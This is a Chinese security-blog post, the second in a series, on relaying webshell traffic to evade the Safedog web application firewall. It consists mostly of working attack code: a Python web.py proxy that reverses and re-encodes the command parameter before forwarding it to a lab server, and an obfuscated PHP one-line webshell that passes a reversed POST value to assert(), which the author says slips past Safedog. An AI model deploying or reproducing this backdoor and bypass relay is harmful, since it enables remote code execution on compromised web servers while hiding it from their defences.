中转Webshell 绕过安全狗（二）|WEB安全|黑白网

前言在实践中转webshell绕过安全狗（一）中，在服务端和客户端均为php。某大佬提示并分享资源后，打算使用python完成中转。部分代码无耻copy。客户端本地127.0.0.1，安装python2phpshellproxy.py#coding=utf-8 import sys reload(sys) sys.setdefaultencodin

前言

在实践中转WebShell 绕过安全狗（一）中，在服务端和客户端均为php。某大佬提示并分享资源后，打算使用python完成中转。部分代码无耻copy。

客户端

本地127.0.0.1，安装python2
phpshellproxy.py

#coding=utf-8    import sys  reload(sys)  sys.setdefaultencoding('utf-8')    import web    urls = (      '/','index',      '/reverse','reverse',      )    #render = web.template.render('templates/')  import json  import urllib    class index:      def GET(self):          return 1  class Base:      def getpostdata(self, postdata):          #content with &          postdatalist = postdata.split('&')          for pa in postdatalist:              #content with =, can't split with =              index = pa.find("=")              setattr(self,pa[:index],urllib.unquote_plus(pa[index+1:]))  import requests  import codecs, urllib , base64 #, chardet  class reverse(Base, object):      def GET(self,corpid):          return 1      def POST(self):          data = web.data()          #print data          pwdata = data.split('&')[0].split('=')[1]          #print pwdata          #print 'pwdata', pwdata          #print 'pwdata[::-1]', urllib.unquote(urllib.unquote(pwdata.replace('+',' '))[::-1]).replace('&','%26').replace('+','%2b')          newpostdata = data.replace(pwdata, urllib.unquote(urllib.unquote(pwdata.replace('+',' '))[::-1]).replace('&','%26').replace('+','%2b'))          #print 'newpostdata', newpostdata          r = requests.post("http://192.168.253.129/waf/transServ.php", data=""+newpostdata.replace(' ','+'), headers = {"User-Agent":"Mozilla/5.0 (windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36","Content-Type": "application/x-www-form-urlencoded"})#, proxies={'http':"http://127.0.0.1:8080"})          #print r.apparent_encoding          #r.encoding = 'gb2312'          #print chardet.detect(r.content)          #print r.text          #return r.text          return r.content   if __name__ == "__main__":      app = web.application(urls, globals())      app.run()

运行需要安装

pip install web  pip install requests

服务端

shell端192.168.253.129，安装安全狗
reverse.php
做了点混淆，可过安全狗

<?php   $DS = $_POST['x'];  $str = strrev($DS);  $a1 = array("1234","123456");  $a2 = array($str,"5461");  $ma = array_map(null,$a1,$a2)[0][1];  @assert($ma);